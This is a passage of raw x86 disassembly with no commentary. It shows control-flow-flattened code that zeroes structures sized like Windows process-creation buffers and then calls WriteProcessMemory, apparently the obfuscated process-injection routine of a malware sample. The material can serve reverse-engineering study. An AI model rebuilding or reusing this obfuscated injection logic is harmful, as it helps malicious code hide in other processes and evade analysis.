or cl, 0
and al, cl
or dl, al
mov eax, 0x2bf76d96
mov ecx, 0xc6159b86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0x593ab626
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x21ab57ee
mov ecx, 0xc554d401
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xbfa2e372
jmp 0x1000b328
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xa8ca086a
jmp 0x1000b328
mov dword [ebp - 0x10c], 0xf0009089
jmp 0x1000b328
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000c710
add esp, 0xc
mov eax, dword [ebp - 0xd0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000c710
add esp, 0xc
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x10c], 0x30e09057
jmp 0x1000b328
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002a90
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x10c], 0xc6aee40d
jmp 0x1000b328
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
sub ecx, 0x3edc0093
add ecx, 8
add ecx, 0x3edc0093
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x10c], 0xb1dc9ea8
jmp 0x1000b328
jmp 0x1000321f